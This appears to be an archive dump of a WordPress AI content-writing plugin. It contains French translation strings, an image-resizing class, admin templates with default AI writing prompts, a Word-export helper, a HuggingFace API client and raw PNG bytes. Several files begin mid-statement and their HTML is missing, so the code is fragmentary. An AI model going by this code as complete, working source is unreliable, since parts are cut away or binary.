Mode:" #~ msgstr "Mode de création des messages :" #~ msgid "Topic/Sections Based Posting" #~ msgstr "Article basée sur les sujets/sections" #~ msgid "Topic/Sections Options" #~ msgstr "Options de rubrique/sections" #~ msgid "Post Topic List (For Post Title Generator):" #~ msgstr "" #~ "Liste des sujets de messages (pour le générateur de titres d'articles)" #, php-format #~ msgid "" #~ "Prompt to be used for the intro of the article. These will be set also as " #~ "headings in the article. You can use the following shortcodes: %%title%%, " #~ "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " #~ "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " #~ "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " #~ "generated by rules from other plugins). You will also be able to use the " #~ "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #~ "the rule settings - this will allow you to create partially or fully AI " #~ "generated prompts which will be used for the content generators." #~ msgstr "" #~ "Prompt à utiliser pour l’introduction de l’article. Ceux-ci seront " #~ "également définis comme titres dans l’article. Vous pouvez utiliser les " #~ "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " #~ "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " #~ "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à " #~ "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " #~ "générés par des règles d’autres plugins). Vous pourrez également utiliser " #~ "les shortcodes personnalisés définis dans la fonction 'Custom Shortcode " #~ "Creator' à partir des paramètres de règle - cela vous permettra de créer " #~ "des invites partiellement ou entièrement générées par l’IA qui seront " #~ "utilisées pour les générateurs de contenu." #, php-format #~ msgid "" #~ "Prompt to be used for the outro of the article. These will be set also as " #~ "headings in the article. You can use the following shortcodes: %%title%%, " #~ "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " #~ "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " #~ "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " #~ "generated by rules from other plugins). You will also be able to use the " #~ "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #~ "the rule settings - this will allow you to create partially or fully AI " #~ "generated prompts which will be used for the content generators." #~ msgstr "" #~ "Prompt à utiliser pour la fin de l'article. Elles seront également " #~ "utilisées comme titres dans l'article. Vous pouvez utiliser les " #~ "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " #~ "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " #~ "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à " #~ "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " #~ "générés par des règles provenant d'autres plugins). Vous pourrez " #~ "également utiliser les shortcodes personnalisés définis dans la " #~ "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " #~ "paramètres de la règle - cela vous permettra de créer des invites " #~ "partiellement ou entièrement générées par l'IA qui seront utilisées pour " #~ "les générateurs de contenu." #~ msgid "Post Topic List (For Post Title Generator)" #~ msgstr "" #~ "Liste des sujets de messages (pour le générateur de titres d'articles)" #~ msgid "Usage & Tutorial" #~ msgstr "Utilisation et tutoriel" #~ msgid "SpinnerChief Spinning Language:" #~ msgstr "SpinnerChief Spinning Language :" #~ msgid "Playground - Chat" #~ msgstr "Aire de jeux - Chat" #~ msgid "Playground - Text Editing" #~ msgstr "Aire de jeux - Édition de texte" #~ msgid "Playground - Image Generator" #~ msgstr "Aire de jeux - Générateur d’images" #~ msgid "Post Topic List:" #~ msgstr "Liste des sujets de discussion :" #~ msgid "" #~ "Already all posts are published that match your search and posts will be " #~ "posted when new content will be available" #~ msgstr "" #~ "Tous les articles correspondant à votre recherche sont déjà publiés et " #~ "des articles seront publiés lorsque du nouveau contenu sera disponible" #~ msgid "Some restrictions you defined in the plugin's 'Main Settings'" #~ msgstr "" #~ "Certaines restrictions que vous avez définies dans les \"Paramètres " #~ "principaux\" du plugin" #~ msgid "" #~ "example: 'Minimum Content Word Count', 'Maximum Content Word Count', " #~ "'Minimum Title Word Count', 'Maximum Title Word Count', 'Banned Words " #~ "List', 'Reuired Words List', 'Skip Posts Without Images'" #~ msgstr "" #~ "exemple : \"Nombre de mots minimum\", \"Nombre de mots maximum\", " #~ "\"Nombre de mots minimum\", \"Nombre de mots maximum\", \"Liste des mots " #~ "interdits\", \"Liste des mots souhaités\", \"Ignorer les messages sans " #~ "images\"" #~ msgid "prevent posting of new posts." #~ msgstr "empêcher l'affichage de nouveaux messages." #~ msgid "Post Topic List" #~ msgstr "Liste des sujets de discussion" #~ msgid "" #~ "Instruction for the AI editor, to edit post title. Nested shortcodes from " #~ "other plugins also supported here." #~ msgstr "" #~ "Instruction pour l'éditeur AI, pour modifier le titre de l'article. Les " #~ "shortcodes imbriqués d'autres plugins sont également pris en charge ici." #~ msgid "" #~ "Instruction for the AI editor, to edit post content. Nested shortcodes " #~ "from other plugins also supported here." #~ msgstr "" #~ "Instruction pour l'éditeur d'IA, pour éditer le contenu de l'article. Les " #~ "shortcodes imbriqués d'autres plugins sont également pris en charge ici." res/ImageResize/index.php000064400000000037147577714370011407 0ustar00 res/ImageResize/ImageResize.php000064400000051255147577714370012514 0ustar00 127) { $isAscii = false; break; } } if($isAscii == true) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if ($filename === null || empty($filename) || (substr($filename, 0, 7) !== 'data://' && !$wp_filesystem->is_file($filename))) { throw new ImageResizeException('File does not exist'); } if(!function_exists('finfo_open')) { throw new ImageResizeException('finfo_open does not exist, cannot resize image.'); } $finfo = finfo_open(FILEINFO_MIME_TYPE); if (strstr(finfo_file($finfo, $filename), 'image') === false) { throw new ImageResizeException('Unsupported file type (' . $filename . '): ' . finfo_file($finfo, $filename)); } } if (!$image_info = getimagesize($filename, $this->source_info)) { $image_info = getimagesize($filename); } if (!$image_info) { throw new ImageResizeException('Could not read file ' . $filename); } list( $this->original_w, $this->original_h, $this->source_type ) = $image_info; switch ($this->source_type) { case IMAGETYPE_GIF: $this->source_image = imagecreatefromgif($filename); break; case IMAGETYPE_JPEG: $this->source_image = $this->imageCreateJpegfromExif($filename); // set new width and height for image, maybe it has changed $this->original_w = ImageSX($this->source_image); $this->original_h = ImageSY($this->source_image); break; case IMAGETYPE_PNG: $this->source_image = imagecreatefrompng($filename); break; case IMAGETYPE_WEBP: if (version_compare(PHP_VERSION, '5.5.0', '<')) { throw new ImageResizeException('For WebP support PHP >= 5.5.0 is required'); } $this->source_image = imagecreatefromwebp($filename); break; default: throw new ImageResizeException('Unsupported image type'); break; } if (!$this->source_image) { throw new ImageResizeException('Could not load image'); } return $this->resize($this->getSourceWidth(), $this->getSourceHeight()); } // http://stackoverflow.com/a/28819866 public function imageCreateJpegfromExif($filename) { $img = imagecreatefromjpeg($filename); if (!function_exists('exif_read_data') || !isset($this->source_info['APP1']) || strpos($this->source_info['APP1'], 'Exif') !== 0) { return $img; } $exif = exif_read_data($filename); if (!$exif || !isset($exif['Orientation'])) { return $img; } $orientation = $exif['Orientation']; if ($orientation === 6 || $orientation === 5) { $img = imagerotate($img, 270, 0); } elseif ($orientation === 3 || $orientation === 4) { $img = imagerotate($img, 180, 0); } elseif ($orientation === 8 || $orientation === 7) { $img = imagerotate($img, 90, 0); } if ($orientation === 5 || $orientation === 4 || $orientation === 7) { imageflip($img, IMG_FLIP_HORIZONTAL); } return $img; } /** * Saves new image * * @param string $filename * @param string $image_type * @param integer $quality * @param integer $permissions * @return \static */ public function save($filename, $image_type = null, $quality = null, $permissions = null) { $image_type = $image_type ?: $this->source_type; $quality = is_numeric($quality) ? (int) abs($quality) : null; switch ($image_type) { case IMAGETYPE_GIF: $dest_image = imagecreatetruecolor($this->getDestWidth(), $this->getDestHeight()); $background = imagecolorallocatealpha($dest_image, 255, 255, 255, 1); imagecolortransparent($dest_image, $background); imagefill($dest_image, 0, 0, $background); imagesavealpha($dest_image, true); break; case IMAGETYPE_JPEG: $dest_image = imagecreatetruecolor($this->getDestWidth(), $this->getDestHeight()); $background = imagecolorallocate($dest_image, 255, 255, 255); imagefilledrectangle($dest_image, 0, 0, $this->getDestWidth(), $this->getDestHeight(), $background); break; case IMAGETYPE_WEBP: if (version_compare(PHP_VERSION, '5.5.0', '<')) { throw new ImageResizeException('For WebP support PHP >= 5.5.0 is required'); } $dest_image = imagecreatetruecolor($this->getDestWidth(), $this->getDestHeight()); $background = imagecolorallocate($dest_image, 255, 255, 255); imagefilledrectangle($dest_image, 0, 0, $this->getDestWidth(), $this->getDestHeight(), $background); break; case IMAGETYPE_PNG: if (!$this->quality_truecolor && !imageistruecolor($this->source_image)) { $dest_image = imagecreate($this->getDestWidth(), $this->getDestHeight()); $background = imagecolorallocatealpha($dest_image, 255, 255, 255, 1); imagecolortransparent($dest_image, $background); imagefill($dest_image, 0, 0, $background); } else { $dest_image = imagecreatetruecolor($this->getDestWidth(), $this->getDestHeight()); } imagealphablending($dest_image, false); imagesavealpha($dest_image, true); break; } imageinterlace($dest_image, $this->interlace); imagecopyresampled( $dest_image, $this->source_image, $this->dest_x, $this->dest_y, $this->source_x, $this->source_y, $this->getDestWidth(), $this->getDestHeight(), $this->source_w, $this->source_h ); switch ($image_type) { case IMAGETYPE_GIF: imagegif($dest_image, $filename); break; case IMAGETYPE_JPEG: if ($quality === null || $quality > 100) { $quality = $this->quality_jpg; } imagejpeg($dest_image, $filename, $quality); break; case IMAGETYPE_WEBP: if (version_compare(PHP_VERSION, '5.5.0', '<')) { throw new ImageResizeException('For WebP support PHP >= 5.5.0 is required'); } if ($quality === null) { $quality = $this->quality_webp; } imagewebp($dest_image, $filename, $quality); break; case IMAGETYPE_PNG: if ($quality === null || $quality > 9) { $quality = $this->quality_png; } imagepng($dest_image, $filename, $quality); break; } if ($permissions) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->chmod($filename, $permissions); } imagedestroy($dest_image); imagedestroy($this->source_image); return $this; } /** * Convert the image to string * * @param int $image_type * @param int $quality * @return string */ public function getImageAsString($image_type = null, $quality = null) { $string_temp = tempnam(sys_get_temp_dir(), ''); $this->save($string_temp, $image_type, $quality); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $string = $wp_filesystem->get_contents($string_temp); $wp_filesystem->delete($string_temp); return $string; } /** * Convert the image to string with the current settings * * @return string */ public function __toString() { return $this->getImageAsString(); } /** * Outputs image to browser * @param string $image_type * @param integer $quality */ public function output($image_type = null, $quality = null) { $image_type = $image_type ?: $this->source_type; header('Content-Type: ' . image_type_to_mime_type($image_type)); $this->save(null, $image_type, $quality); } /** * Resizes image according to the given short side (short side proportional) * * @param integer $max_short * @param boolean $allow_enlarge * @return \static */ public function resizeToShortSide($max_short, $allow_enlarge = false) { if ($this->getSourceHeight() < $this->getSourceWidth()) { $ratio = $max_short / $this->getSourceHeight(); $long = $this->getSourceWidth() * $ratio; $this->resize($long, $max_short, $allow_enlarge); } else { $ratio = $max_short / $this->getSourceWidth(); $long = $this->getSourceHeight() * $ratio; $this->resize($max_short, $long, $allow_enlarge); } return $this; } /** * Resizes image according to the given long side (short side proportional) * * @param integer $max_long * @param boolean $allow_enlarge * @return \static */ public function resizeToLongSide($max_long, $allow_enlarge = false) { if ($this->getSourceHeight() > $this->getSourceWidth()) { $ratio = $max_long / $this->getSourceHeight(); $short = $this->getSourceWidth() * $ratio; $this->resize($short, $max_long, $allow_enlarge); } else { $ratio = $max_long / $this->getSourceWidth(); $short = $this->getSourceHeight() * $ratio; $this->resize($max_long, $short, $allow_enlarge); } return $this; } /** * Resizes image according to the given height (width proportional) * * @param integer $height * @param boolean $allow_enlarge * @return \static */ public function resizeToHeight($height, $allow_enlarge = false) { $ratio = $height / $this->getSourceHeight(); $width = $this->getSourceWidth() * $ratio; $this->resize($width, $height, $allow_enlarge); return $this; } /** * Resizes image according to the given width (height proportional) * * @param integer $width * @param boolean $allow_enlarge * @return \static */ public function resizeToWidth($width, $allow_enlarge = false) { $ratio = $width / $this->getSourceWidth(); $height = $this->getSourceHeight() * $ratio; $this->resize($width, $height, $allow_enlarge); return $this; } /** * Resizes image to best fit inside the given dimensions * * @param integer $max_width * @param integer $max_height * @param boolean $allow_enlarge * @return \static */ public function resizeToBestFit($max_width, $max_height, $allow_enlarge = false) { if ($this->getSourceWidth() <= $max_width && $this->getSourceHeight() <= $max_height && $allow_enlarge === false) { return $this; } $ratio = $this->getSourceHeight() / $this->getSourceWidth(); $width = $max_width; $height = $width * $ratio; if ($height > $max_height) { $height = $max_height; $width = $height / $ratio; } return $this->resize($width, $height, $allow_enlarge); } /** * Resizes image according to given scale (proportionally) * * @param integer|float $scale * @return \static */ public function scale($scale) { $width = $this->getSourceWidth() * $scale / 100; $height = $this->getSourceHeight() * $scale / 100; $this->resize($width, $height, true); return $this; } /** * Resizes image according to the given width and height * * @param integer $width * @param integer $height * @param boolean $allow_enlarge * @return \static */ public function resize($width, $height, $allow_enlarge = false) { if (!$allow_enlarge) { // if the user hasn't explicitly allowed enlarging, // but either of the dimensions are larger then the original, // then just use original dimensions - this logic may need rethinking if ($width > $this->getSourceWidth() || $height > $this->getSourceHeight()) { $width = $this->getSourceWidth(); $height = $this->getSourceHeight(); } } $this->source_x = 0; $this->source_y = 0; $this->dest_w = $width; $this->dest_h = $height; $this->source_w = $this->getSourceWidth(); $this->source_h = $this->getSourceHeight(); return $this; } /** * Crops image according to the given width, height and crop position * * @param integer $width * @param integer $height * @param boolean $allow_enlarge * @param integer $position * @return \static */ public function crop($width, $height, $allow_enlarge = false, $position = self::CROPCENTER) { if (!$allow_enlarge) { // this logic is slightly different to resize(), // it will only reset dimensions to the original // if that particular dimenstion is larger if ($width > $this->getSourceWidth()) { $width = $this->getSourceWidth(); } if ($height > $this->getSourceHeight()) { $height = $this->getSourceHeight(); } } $ratio_source = $this->getSourceWidth() / $this->getSourceHeight(); $ratio_dest = $width / $height; if ($ratio_dest < $ratio_source) { $this->resizeToHeight($height, $allow_enlarge); $excess_width = ($this->getDestWidth() - $width) / $this->getDestWidth() * $this->getSourceWidth(); $this->source_w = $this->getSourceWidth() - $excess_width; $this->source_x = $this->getCropPosition($excess_width, $position); $this->dest_w = $width; } else { $this->resizeToWidth($width, $allow_enlarge); $excess_height = ($this->getDestHeight() - $height) / $this->getDestHeight() * $this->getSourceHeight(); $this->source_h = $this->getSourceHeight() - $excess_height; $this->source_y = $this->getCropPosition($excess_height, $position); $this->dest_h = $height; } return $this; } /** * Crops image according to the given width, height, x and y * * @param integer $width * @param integer $height * @param integer $x * @param integer $y * @return \static */ public function freecrop($width, $height, $x = false, $y = false) { if ($x === false or $y === false) { return $this->crop($width, $height); } $this->source_x = $x; $this->source_y = $y; if ($width > $this->getSourceWidth() - $x) { $this->source_w = $this->getSourceWidth() - $x; } else { $this->source_w = $width; } if ($height > $this->getSourceHeight() - $y) { $this->source_h = $this->getSourceHeight() - $y; } else { $this->source_h = $height; } $this->dest_w = $width; $this->dest_h = $height; return $this; } /** * Gets source width * * @return integer */ public function getSourceWidth() { return $this->original_w; } /** * Gets source height * * @return integer */ public function getSourceHeight() { return $this->original_h; } /** * Gets width of the destination image * * @return integer */ public function getDestWidth() { return $this->dest_w; } /** * Gets height of the destination image * @return integer */ public function getDestHeight() { return $this->dest_h; } /** * Gets crop position (X or Y) according to the given position * * @param integer $expectedSize * @param integer $position * @return integer */ protected function getCropPosition($expectedSize, $position = self::CROPCENTER) { $size = 0; switch ($position) { case self::CROPBOTTOM: case self::CROPRIGHT: $size = $expectedSize; break; case self::CROPCENTER: case self::CROPCENTRE: $size = $expectedSize / 2; break; case self::CROPTOPCENTER: $size = $expectedSize / 4; break; } return $size; } } // imageflip definition for PHP < 5.5 if (!function_exists('imageflip')) { define('IMG_FLIP_HORIZONTAL', 0); define('IMG_FLIP_VERTICAL', 1); define('IMG_FLIP_BOTH', 2); function imageflip($image, $mode) { switch ($mode) { case IMG_FLIP_HORIZONTAL: { $max_x = imagesx($image) - 1; $half_x = $max_x / 2; $sy = imagesy($image); $temp_image = imageistruecolor($image)? imagecreatetruecolor(1, $sy): imagecreate(1, $sy); for ($x = 0; $x < $half_x; ++$x) { imagecopy($temp_image, $image, 0, 0, $x, 0, 1, $sy); imagecopy($image, $image, $x, 0, $max_x - $x, 0, 1, $sy); imagecopy($image, $temp_image, $max_x - $x, 0, 0, 0, 1, $sy); } break; } case IMG_FLIP_VERTICAL: { $sx = imagesx($image); $max_y = imagesy($image) - 1; $half_y = $max_y / 2; $temp_image = imageistruecolor($image)? imagecreatetruecolor($sx, 1): imagecreate($sx, 1); for ($y = 0; $y < $half_y; ++$y) { imagecopy($temp_image, $image, 0, 0, 0, $y, $sx, 1); imagecopy($image, $image, 0, $y, 0, $max_y - $y, $sx, 1); imagecopy($image, $temp_image, 0, $max_y - $y, 0, 0, $sx, 1); } break; } case IMG_FLIP_BOTH: { $sx = imagesx($image); $sy = imagesy($image); $temp_image = imagerotate($image, 180, 0); imagecopy($image, $temp_image, 0, 0, 0, 0, $sx, $sy); break; } default: { return; } } imagedestroy($temp_image); } } /** * PHP Exception used in the ImageResize class */ class ImageResizeException extends \Exception { }res/admin/ai-post.php000064400000042167147577714370010552 0ustar00 array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%' ); } if(isset($aiomatic_Main_Settings['ai_writer_seo_prompt']) && $aiomatic_Main_Settings['ai_writer_seo_prompt'] != '') { $aiomatic_seo_prompt = $aiomatic_Main_Settings['ai_writer_seo_prompt']; } else { $aiomatic_seo_prompt = sprintf( wp_kses( __( 'Craft an enticing and succinct meta description in English for your WordPress %s: "%s". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%' ); } if(isset($aiomatic_Main_Settings['ai_writer_content_prompt']) && $aiomatic_Main_Settings['ai_writer_content_prompt'] != '') { $aiomatic_content_prompt = $aiomatic_Main_Settings['ai_writer_content_prompt']; } else { $aiomatic_content_prompt = sprintf( wp_kses( __( 'Create a captivating and comprehensive English description for your WordPress %s: "%s". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %s that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%', $post->post_type ); } if(isset($aiomatic_Main_Settings['ai_writer_excerpt_prompt']) && $aiomatic_Main_Settings['ai_writer_excerpt_prompt'] != '') { $aiomatic_short_prompt = $aiomatic_Main_Settings['ai_writer_excerpt_prompt']; } else { $aiomatic_short_prompt = sprintf( wp_kses( __( 'Write a captivating and succinct English summary for the WordPress %s: "%s", accentuating its pivotal features, advantages, and distinctive qualities.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%' ); } if(isset($aiomatic_Main_Settings['ai_writer_tags_prompt']) && $aiomatic_Main_Settings['ai_writer_tags_prompt'] != '') { $aiomatic_tag_prompt = $aiomatic_Main_Settings['ai_writer_tags_prompt']; } else { $aiomatic_tag_prompt = sprintf( wp_kses( __( 'Suggest a series of pertinent keywords in English for your WordPress %s: "%s". These keywords should be closely connected to the %s, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%', $post->post_type ); } ?>

                    here', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), admin_url('admin.php?page=aiomatic_admin_settings#tab-27') );?>



                    res/admin/ai-post-gutenberg.php000064400000047370147577714370012533 0ustar00 array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%' ); } if(isset($aiomatic_Main_Settings['ai_writer_seo_prompt']) && $aiomatic_Main_Settings['ai_writer_seo_prompt'] != '') { $aiomatic_seo_prompt = $aiomatic_Main_Settings['ai_writer_seo_prompt']; } else { $aiomatic_seo_prompt = sprintf( wp_kses( __( 'Craft an enticing and succinct meta description in English for your WordPress %s: "%s". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%' ); } if(isset($aiomatic_Main_Settings['ai_writer_content_prompt']) && $aiomatic_Main_Settings['ai_writer_content_prompt'] != '') { $aiomatic_content_prompt = $aiomatic_Main_Settings['ai_writer_content_prompt']; } else { $aiomatic_content_prompt = sprintf( wp_kses( __( 'Create a captivating and comprehensive English description for your WordPress %s: "%s". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %s that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%', $post->post_type ); } if(isset($aiomatic_Main_Settings['ai_writer_excerpt_prompt']) && $aiomatic_Main_Settings['ai_writer_excerpt_prompt'] != '') { $aiomatic_short_prompt = $aiomatic_Main_Settings['ai_writer_excerpt_prompt']; } else { $aiomatic_short_prompt = sprintf( wp_kses( __( 'Write a captivating and succinct English summary for the WordPress %s: "%s", accentuating its pivotal features, advantages, and distinctive qualities.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%' ); } if(isset($aiomatic_Main_Settings['ai_writer_tags_prompt']) && $aiomatic_Main_Settings['ai_writer_tags_prompt'] != '') { $aiomatic_tag_prompt = $aiomatic_Main_Settings['ai_writer_tags_prompt']; } else { $aiomatic_tag_prompt = sprintf( wp_kses( __( 'Suggest a series of pertinent keywords in English for your WordPress %s: "%s". These keywords should be closely connected to the %s, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), $post->post_type, '%%post_title_idea%%', $post->post_type ); } ?>


                    here', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), admin_url('admin.php?page=aiomatic_admin_settings#tab-27') );?>


                      

                    res/html_to_doc/ExportToWord.inc.php000064400000014212147577714370013557 0ustar00 '; return $head; } private static function htmlEntities($html) { // Get images from html and receiving their data for embeding $imagesData = ''; $imagesNames = ''; $i = 0; preg_match_all('//u', $html, $matches); foreach($matches[0] as $imgTag) { $imgDownload = file_get_contents($matches[2][$i]); $imageExt = pathinfo($matches[2][$i])['extension']; $imageName = 'images' . $i . '.' . $imageExt; $imagesNames .= ''; $imageData = chunk_split(base64_encode($imgDownload)); $imagesData .= ' --'.static::$mimeDocSeparator.' Content-Location: images/'.$imageName.' Content-Transfer-Encoding: base64 Content-Type: image/'.$imageExt.' '.$imageData.' '; $imageDesc = ' 3DHaut'; $html = mb_ereg_replace($imgTag, $imageDesc, $html); $i++; } $html = preg_replace('/=/u', '=3D', $html); return ['html' => $html, 'imagesNames' => $imagesNames, 'imagesData' => $imagesData]; } private static function bodyDoc($body) { // *.doc body $body = '
                    '.$body.'
                    '; return $body; } private static function footerDoc() { // *.doc footer $footer = '

                    '; return $footer; } private static function fileList($entities) { // XML for embeding images $fileList = ' --'.static::$mimeDocSeparator.' Content-Location: filelist.xml Content-Transfer-Encoding: quoted-printable Content-Type: text/xml; charset="utf-8" '.$entities['imagesNames'].' '; return $fileList; } } ?>res/huggingface/api.php000064400000014423147577714370011120 0ustar00baseUrl = $baseUrl; $this->customModel = true; } else { $this->customModel = false; } $this->env = $env; $this->set_environment(); } protected function set_environment() { $this->apiKey = $this->env['apikey']; $this->model = $this->env['model'] ?? 'gpt2'; if (!isset($this->apiKey)) { throw new Exception('API key is required.'); } } protected function build_body($query, $extra = null) { $body = [ 'inputs' => $query, ]; if ($extra) { $body = array_merge($body, $extra); } return json_encode($body); } protected function build_url($model = null) { $url = $this->baseUrl; if($this->customModel === false) { if ($model) { $url .= $model; } else { $url .= $this->model; } } return $url; } protected function build_headers() { return [ 'Content-Type: application/json', 'Authorization: Bearer ' . $this->apiKey, ]; } public function generate_text($query, $extra = null) { $url = $this->build_url(); $body = $this->build_body($query, $extra); $headers = $this->build_headers(); $response = $this->send_request($url, $body, $headers, 'POST'); if (isset($response['error'])) { throw new Exception($response['error']); } return $response; } public function list_models($params = []) { $models = []; $url = $this->build_list_models_url($params); $headers = $this->build_headers(); $max_pages = 5; $cpage = 0; do { $response = $this->send_request_list($url, null, $headers, 'GET'); if (isset($response['error'])) { throw new Exception($response['error']); } if(is_array($response)) { foreach($response as $rmodel) { $models[] = $rmodel['id']; } } if(!isset($response['headers']['link'])) { break; } $linkHeader = $this->parse_link_header($response['headers']['link']); $url = $linkHeader['next'] ?? null; $cpage++; } while ($url && $max_pages > $cpage); return $models; } protected function build_list_models_url($params) { $baseListUrl = 'https://huggingface.co/api/models'; $query = http_build_query($params); return $baseListUrl . '?' . $query; } protected function parse_link_header($linkHeader) { $links = []; if ($linkHeader) { $parts = explode(',', $linkHeader); foreach ($parts as $part) { $section = explode(';', $part); if (count($section) == 2) { $url = trim($section[0], '<> '); $name = trim(explode('=', $section[1])[1], '" '); $links[$name] = $url; } } } return $links; } protected function send_request_list($url, $body, $headers, $method = 'POST') { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $body); } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode >= 400) { $error = 'HTTP Error: ' . $httpCode . ' - ' . $response; curl_close($ch); throw new Exception($error); } curl_close($ch); $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $body = substr($response, $headerSize); $js = json_decode($body, true); if(is_array($js)) { $responseHeaders = substr($response, 0, $headerSize); $js['headers'] = $this->parse_headers($responseHeaders); } return $js; } protected function send_request($url, $body, $headers, $method = 'POST') { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $body); } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); if ($this->env['stream'] == true) { curl_setopt($ch, CURLOPT_WRITEFUNCTION, function ($ch, $data) { echo $data . "

                    "; echo PHP_EOL; ob_flush(); flush(); return strlen($data); }); } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode >= 400) { $error = 'HTTP Error: ' . $httpCode . ' - ' . $response; curl_close($ch); throw new Exception($error); } curl_close($ch); $js = json_decode($response, true); return $js; } protected function parse_headers($headerString) { $headers = []; $lines = explode("\r\n", $headerString); foreach ($lines as $line) { $parts = explode(': ', $line); if (count($parts) == 2) { $headers[strtolower($parts[0])] = $parts[1]; } } return $headers; } } ?>res/icons/6.png000064400000004731147577714370007356 0ustar00‰PNG  IHDR@@·ì pHYsÄÄ•+èPLTEGpLr’¹ßÞàßÞáÕÜâbx¨‚Øç´éñ¿Ö´éñcy©Zr¦ßÞàYr¥dz©`v§czªZs¥Yr¥Zr¥Pj¢xˆ¯Zs¦xˆ¯Yr¥Xr¥Zs¥Ys¥Zr¥Ys¥w‡¯xˆ¯´éñRm£Yr¥u³Oh¡‚Øæ†Ûé¡ãîxˆ¯;[›‚Øç•ßëYr¥‚Ùèxˆ¯Zs¦xˆ¯Yr¥xˆ¯\t§´éñ;Z›;Z›]œ<[œèåäxˆ¯´éñ„Ùèxˆ¯;Z›xˆ¯:Y›´éñ´éñ;Z›´éñcy¨ƒÙç;Z›ƒÙç;Z›xˆ¯yÂÙÄÈÕÄÈÕ½ÂÑ;Z›ÍÏÙŽ¾ÿ®ÿCð´ÿÿÿxrõ´éñxˆ¯Yr¥ôôõØçÞÝà;Z›w‡®Xq¥µëòõõöu†®ø÷øWp¤\t§ÿ¡¬öö÷IU`èêî€ØçÙèw‡¯‹™ºÿ «ððócz©àßâ_w¨ßÞáïïð˜¤Ár„®óóôééëFR]yŠ±ÚÚÞ€Öæ{Ž´h}«~ÒãÍÐÖCaž“·›áí÷ðò|Œ² «Æ½~µ­Üé•·ÏZs¥ƒÙèf’ºmƒ®ììïT^iv~†NYdÏÔàÃÈÖ³èñÜé”ßëPk¢°èðo‚¬l€¬ãÕÙa…±æçéý§±þ°¹Zeo¹½Âÿ£­²æïÄØ£ÎߨÕ䉗¹v½Õ¦åî]|«ù®·Õ×Ün¦ÇüÁÈöåèÑÓÙÆÊÍš¦Ã®à미έ¶Ê…•¹¨²Ê³»Ï¡ËÝàâêïÃÉ‚Š‘õíïyÄÚo©È{ÉÝ>]œl 